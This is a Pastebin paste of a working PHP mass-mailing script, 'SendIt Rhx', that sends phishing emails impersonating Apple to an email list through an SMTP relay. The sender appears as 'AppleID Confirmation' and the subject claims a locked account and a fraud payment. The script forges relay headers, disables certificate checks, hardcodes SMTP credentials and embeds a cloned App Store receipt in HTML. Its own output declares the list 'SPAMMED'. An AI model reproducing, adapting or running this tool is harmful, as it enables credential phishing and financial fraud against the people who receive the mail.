Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Import PHPMailer classes into the global namespace
- // These must be at the top of your script, not inside a function
- error_reporting(0);
- use PHPMailer\PHPMailer\PHPMailer;
- use PHPMailer\PHPMailer\Exception;
- //Load composer's autoloader
- require('class.SendIt.php');
- require 'vendor/autoload.php';
- $Extender = new Modules;
- class Colors {
- private $foreground_colors = array();
- private $background_colors = array();
- public function __construct() {
- // Set up shell colors
- $this->foreground_colors['black'] = '0;30';
- $this->foreground_colors['dark_gray'] = '1;30';
- $this->foreground_colors['blue'] = '0;34';
- $this->foreground_colors['light_blue'] = '1;34';
- $this->foreground_colors['green'] = '0;32';
- $this->foreground_colors['light_green'] = '1;32';
- $this->foreground_colors['cyan'] = '0;36';
- $this->foreground_colors['light_cyan'] = '1;36';
- $this->foreground_colors['red'] = '0;31';
- $this->foreground_colors['light_red'] = '1;31';
- $this->foreground_colors['purple'] = '0;35';
- $this->foreground_colors['light_purple'] = '1;35';
- $this->foreground_colors['brown'] = '0;33';
- $this->foreground_colors['yellow'] = '1;33';
- $this->foreground_colors['light_gray'] = '0;37';
- $this->foreground_colors['white'] = '1;37';
- $this->background_colors['black'] = '40';
- $this->background_colors['red'] = '41';
- $this->background_colors['green'] = '42';
- $this->background_colors['yellow'] = '43';
- $this->background_colors['blue'] = '44';
- $this->background_colors['magenta'] = '45';
- $this->background_colors['cyan'] = '46';
- $this->background_colors['light_gray'] = '47';
- }
- // Returns colored string
- public function getColoredString($string, $foreground_color = null, $background_color = null) {
- $colored_string = "";
- // Check if given foreground color found
- if (isset($this->foreground_colors[$foreground_color])) {
- $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
- }
- // Check if given background color found
- if (isset($this->background_colors[$background_color])) {
- $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
- }
- // Add string and end coloring
- $colored_string .= $string . "\033[0m";
- return $colored_string;
- }
- // Returns all foreground color names
- public function getForegroundColors() {
- return array_keys($this->foreground_colors);
- }
- // Returns all background color names
- public function getBackgroundColors() {
- return array_keys($this->background_colors);
- }
- }
- class SendIt extends Modules
- {
- function __construct()
- {
- if(phpversion() < "7.0.0"){
- echo "PHP ".phpversion()." TIDAK SUPPORT SILAHKAN UPDATE KE PHP 7\r\n";
- exit;
- }
- echo "=========================================\r\n";
- echo " || ======== || SendIt Rhx ".$this->version()."\r\n";
- echo " || || || (c) 2017 RhxFiles\r\n";
- echo " || || || www.rhxfiles.com\r\n";
- echo " || || ||\r\n";
- echo "=========================================\r\n";
- $LoadEmail = $this->stuck("[ Load Email List (file.txt) ] : ");
- $du = $this->stuck("[ Send Duplicate Mail (0 = Yes , 1 = No)] : ");
- $this->del = $this->stuck("[ Send Email Delay] : ");
- $this->LoadEmail = $LoadEmail;
- $this->listEmail = $this->load($this->LoadEmail , $du);
- }
- public function senders($email){
- $mail = new PHPMailer(true);
- $mail->SMTPDebug = 0;
- $mail->isSMTP();
- $mail->Host = 'smtp-relay.gmail.com';
- $mail->SMTPAuth = true;
- $mail->SMTPOptions = array('ssl' =>array('verify_peer' =>false,'verify_peer_name' =>false,'allow_self_signed'=>true));
- //======================================= SMTP SETTING ================================
- $mail->Username = 'not-replymyasmas@bean-building.company';
- $mail->Password = 'aSDaSD123';
- //======================================= END OF SMTP SETTING =============================
- $mail->SMTPSecure = 'tls';
- $mail->Port = 587;
- $hitMail = 1;
- $hitMails = 1;
- //============================================= HEADER SETTING =======================================
- $mail->addCustomHeader("X-Relaying-Domain","google.com");
- $mail->addCustomHeader("X-MSMail-Priority","High");
- $mail->addCustomHeader("Importance","High");
- $mail->XMailer='RhxFiles - Secure Mailer';
- $mail->MessageID = "<" . md5($this->randomf(textrandom,10).(idate("U")-1000000000).uniqid()).'-'.$type.'-'.$id.'@'.$this->randomf(textrandom,10).'.'.$this->randomf(textrandom,5).'>';
- $mail->addCustomHeader('Content-Transfer-Encoding', 'base64');
- $mail->addCustomHeader('MIME-Version', '1.0');
- // $mail->addCustomHeader('Content-Type', 'multipart/alternative;');
- //============================================ END OF HEADER SETTING===============================
- //======================================= SEND SETTING ============================================
- $Mailtarget = $email;
- $mail->addAddress($Mailtarget);
- $mail->isHTML(true);
- $mail->CharSet = 'UTF-8';
- $mail->Encoding = 'base64';
- $mail->WordWrap = 50;
- $mail->setFrom($this->randomf(minirandom,7).'informationacc'.$this->randomf(textrandom,7).'support'.$this->randomf(textrandom,7).'@bean-building.company', 'AppleID Confirmation');
- $mail->Subject = date('Fd, Y T H:i:s',time()-3600*3).'-[Statement Alert'.$this->randomf(numrandom,3).'] Your account has been locked | Fraud payment Num #: '.$this->randomf(capitalrandom,3).''.$this->randomf(numrandom,7).'';
- //======================================= END OF SEND SETTING =======================================
- //============================================= START MANUAL HTML =======================================
- $html = '
- <DIV class="AOLWebSuite AOLWebSuiteM1" data-dojo-attach-point="bodyCont">
- <DIV id=AOLMsgPart_2_dc37f217-a8dc-4532-abf8-7886ff044b12>
- <DIV class=aolReplacedBody bgcolor="#FFFFFF"><BR><BR>
- <DIV class=aolmail_aapl-desktop-div style="OVERFLOW: visible; HEIGHT: 100%; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; DISPLAY: block; LINE-HEIGHT: normal; PADDING-RIGHT: 0px; MAX-HEIGHT: none">
- <TABLE class=aolmail_aapl-desktop-tbl style="WIDTH: 742px; BORDER-COLLAPSE: collapse; BORDER-SPACING: 0" cellSpacing=0 cellPadding=0 align=center border=0>
- <TBODY>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 40px"></TD>
- <TD align=left><IMG style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: medium none; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: medium none; MARGIN: 0px; PADDING-RIGHT: 0px; VISIBILITY: visible" border=0 alt=Apple src="http://r.mzstatic.com/email/images_shared/logo_apple_d-2x.png" width=42 height=42></TD>
- <TD style="FONT-SIZE: 32px; FONT-FAMILY: Helvetica Neue, Helvetica, Arial, sans-serif; FONT-WEIGHT: 300; COLOR: rgb(153,153,153)" align=right>Subscription Confirmation</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 40px"></TD></TR>
- <TR height=20>
- <TD colSpan=4></TD></TR>
- <TR></TR>
- <TR>
- <TD colSpan=4 align=center>
- <TABLE id=aolmail_content-tbl style="FONT-SIZE: 13px; FONT-FAMILY: Helvetica Neue, Helvetica, Arial, sans-serif; WIDTH: 742px" cellSpacing=0 cellPadding=0 border=0>
- <TBODY>
- <TR height=10>
- <TD style="border-top-right-radius: 2px; border-top-left-raidus: 2px" bgColor=#f5f5f5 colSpan=3></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px" bgColor=#f5f5f5></TD>
- <TD bgColor=#f5f5f5 align=left>
- <TABLE style="FONT-SIZE: 12px; FONT-FAMILY: Helvetica Neue,Helvetica,Arial,sans-serif; BORDER-COLLAPSE: collapse; COLOR: rgb(51,51,51); BORDER-SPACING: 0; BACKGROUND-COLOR: rgb(245,245,245); border-radius: 3px" cellSpacing=0 cellPadding=0 border=0 valign="middle">
- <TBODY>
- <TR>
- <TD class=aolmail_artwork-cell style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px" align=center><IMG class=aolmail_large-artwork style="BORDER-TOP: 1px solid; BORDER-RIGHT: 1px solid; BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: 1px solid; MARGIN: 0px; PADDING-RIGHT: 0px; VISIBILITY: visible; border-radius: 32px" border=0 alt="Photable Pro" src="http://is3.mzstatic.com/image/thumb/Purple118/v4/4c/ab/94/4cab94d7-8969-9460-6c05-9b8cc55ff15b/source/280x280bb-80.jpg" width=140 height=140> </TD>
- <TD class=aolmail_lockup-art-spacer style="WIDTH: 20px"></TD>
- <TD>
- <TABLE style="FONT-SIZE: 13px; LETTER-SPACING: 0px; LINE-HEIGHT: 24px" cellSpacing=0 cellPadding=0 border=0>
- <TBODY>
- <TR>
- <TD><SPAN style="FONT-SIZE: 18px">Photable</SPAN></TD></TR>
- <TR>
- <TD><SPAN style="COLOR: rgb(170,170,170)">Photable Pro (3 days)</SPAN></TD></TR>
- <TR>
- <TD><SPAN style="COLOR: rgb(170,170,170)">Free Trial</SPAN></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px" bgColor=#f5f5f5></TD></TR>
- <TR height=10>
- <TD style="border-bottom-right-radius: 2px; border-bottom-left-raidus: 2px" bgColor=#f5f5f5 colSpan=3></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD>Dear JUAN,</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD>You’ve purchased the following subscription with a 3 days free trial:</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD align=center>
- <TABLE style="FONT-SIZE: 13px; FONT-FAMILY: Helvetica Neue, Helvetica, Arial, sans-serif" cellSpacing=1 cellPadding=0 border=0>
- <TBODY>
- <TR>
- <TD vAlign=bottom align=right><B>Subscription</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>Photable Pro</TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>App</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>Photable - Photo Editor</TD></TR>
- <TR>
- <TD align=right><B>Content Provider</B></TD>
- <TD width=10></TD>
- <TD align=left>xuan liu|10926886306</TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>Date of Purchase</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>Dec 26, 2017</TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>Trial Duration</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>3 days</TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>Trial Price</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>Free </TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>Price</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>$4.99/month </TD></TR>
- <TR>
- <TD vAlign=bottom align=right><B>Payment Method</B></TD>
- <TD width=10></TD>
- <TD vAlign=bottom align=left>Visa .... 2604</TD></TR></TBODY></TABLE></TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD>You won’t be charged for your free trial. Once it ends, your subscription will renew at $4.99 unless you cancel by Dec 28, 2017. </TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD>To learn more or cancel, <A rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="https://buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/manageSubscriptions?mt=8&familyId=20385609">review your subscription</A>.</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD>Regards,<BR>The App Store team</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR>
- <TR class=aolmail_paragraph-spacer style="HEIGHT: 20px">
- <TD></TD></TR>
- <TR>
- <TD class=aolmail_left-gutter style="WIDTH: 20px"></TD>
- <TD style="FONT-SIZE: 12px; COLOR: rgb(153,153,153); LINE-HEIGHT: 18px">For answers to frequently asked questions, visit <A rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="http://www.apple.com/support">Apple Support</A>.</TD>
- <TD class=aolmail_right-gutter style="WIDTH: 20px"></TD></TR></TBODY></TABLE></TD></TR>
- <TR class=aolmail_footer-notice-spacer style="HEIGHT: 20px">
- <TD colSpan=4></TD></TR>
- <TR>
- <TD></TD>
- <TD style="FONT-SIZE: 12px; FONT-FAMILY: Helvetica Neue,Helvetica,Arial,sans-serif; COLOR: rgb(153,153,153)" colSpan=2 align=center>Privacy: We use a <SPAN style="COLOR: #0073ff"><A style="COLOR: #0073ff" rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="http://support.apple.com/kb/HT207233">Subscriber ID</A></SPAN> to provide reports to developers. </TD>
- <TD></TD></TR>
- <TR class=aolmail_footer-spacer style="HEIGHT: 50px">
- <TD colSpan=4></TD></TR>
- <TR>
- <TD></TD>
- <TD style="FONT-SIZE: 12px; FONT-FAMILY: Helvetica Neue,Helvetica,Arial,sans-serif; COLOR: rgb(153,153,153)" colSpan=2 align=center><IMG class=aolmail_large-footer-logo style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: medium none; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: medium none; MARGIN: 0px; PADDING-RIGHT: 0px; VISIBILITY: visible" border=0 alt=Apple src="http://r.mzstatic.com/email/images_shared/logo_apple_small_d-2x.png" width=26 height=26> <IMG class=aolmail_small-footer-logo style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: medium none; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: medium none; MARGIN: 0px; DISPLAY: none; PADDING-RIGHT: 0px; VISIBILITY: visible" border=0 alt=Apple src="http://r.mzstatic.com/email/images_shared/logo_apple_small_m-3x.png" width=14 height=14> </TD>
- <TD></TD></TR>
- <TR height=8>
- <TD colSpan=4></TD></TR>
- <TR>
- <TD></TD>
- <TD style="FONT-SIZE: 12px; FONT-FAMILY: Helvetica Neue,Helvetica,Arial,sans-serif; COLOR: rgb(153,153,153)" colSpan=2 align=center><A style="COLOR: #0073ff" rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="https://xp.apple.com/report/2/its_mail_sf?responseType=redirect&emailType=sub_confirm&lang=en_us&eventType=linkClick&redirectUrl=https%3A%2F%2Fbuy.itunes.apple.com%2FWebObjects%2FMZFinance.woa%2Fwa%2FaccountSummary">Apple ID Summary</A> • <A style="COLOR: #0073ff" rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="https://xp.apple.com/report/2/its_mail_sf?responseType=redirect&emailType=sub_confirm&lang=en_us&eventType=linkClick&redirectUrl=http%3A%2F%2Fwww.apple.com%2Flegal%2Fitunes%2Fus%2Fsales.html">Terms of Sale</A> • <A style="COLOR: #0073ff" rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="https://xp.apple.com/report/2/its_mail_sf?responseType=redirect&emailType=sub_confirm&lang=en_us&eventType=linkClick&redirectUrl=https%3A%2F%2Fwww.apple.com%2Flegal%2Fprivacy%2F">Privacy Policy</A> </TD>
- <TD></TD></TR>
- <TR height=25>
- <TD colSpan=4></TD></TR>
- <TR>
- <TD></TD>
- <TD style="FONT-SIZE: 12px; FONT-FAMILY: Helvetica Neue,Helvetica,Arial,sans-serif; COLOR: rgb(153,153,153)" colSpan=2 align=center>Copyright © 2017 Apple Inc., <BR><A style="COLOR: #1187ff" rel="noopener noreferrer" target=_blank removedlink__7ebc6e32-e9ba-4205-be4a-eb31f40539bd__href="https://xp.apple.com/report/2/its_mail_sf?responseType=redirect&emailType=sub_confirm&lang=en_us&eventType=linkClick&redirectUrl=https%3A%2F%2Fwww.apple.com%2Flegal%2F">All rights reserved</A> </TD>
- <TD></TD></TR>
- <TR height=25>
- <TD height=30 colSpan=4></TD></TR></TBODY></TABLE></DIV><IMG style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; DISPLAY: none; VISIBILITY: visible" border=0 alt="" src="https://xp.apple.com/report/2/its_mail_sf?responseType=image&emailType=sub_confirm&lang=en_us&eventType=open" width=1 height=1></DIV></DIV></DIV>
- ';
- $mail->Body = $html;
- //============================================= END MANUAL HTML =========================================
- //============================= FOOTER / SENDER =================================================
- echo "\r\n";
- echo 'Sending To '.$Mailtarget;
- if( $mail->Send() ){
- $this->hitMail++;
- echo ' Succesfully Sent!['.$this->hitMail.'/'.$this->listEmail[total].']';
- }else{
- echo " ".$mail->ErrorInfo;
- echo "\r\n";
- }
- $this->hitMails++;
- //============================================= END =========================================
- }
- public function Mulai(){
- $Coloring = new Colors;
- $mailistea = $this->listEmail['list'];
- $this->pause =1;
- $this->delay = $this->del;
- echo "\n";
- echo $Coloring->getColoredString("Sending With Ratio [ $this->pause Emails \ $this->delay Second ] \n","cyan");
- foreach ($mailistea as $value => $nama_bulan) {
- $emailmantap = trim($nama_bulan);
- if($this->hitMails === $this->pause){
- echo "\r\n";
- echo $Coloring->getColoredString("[SendIt Rhx][==== delay $this->delay Sec====] ","light_red");
- $this->hitMails = 0;
- sleep($this->delay);
- }
- $this->senders($emailmantap);
- if($this->hitMail == $this->listEmail[total])
- {
- echo "\r\n";
- echo "[SendIt Rhx][====ALL MAILIST HAS BEEN SPAMMED !====] ";
- }
- }
- }
- }
- $SendIt = new SendIt;
- $SendIt->Mulai();
Add Comment
Please, Sign In to add comment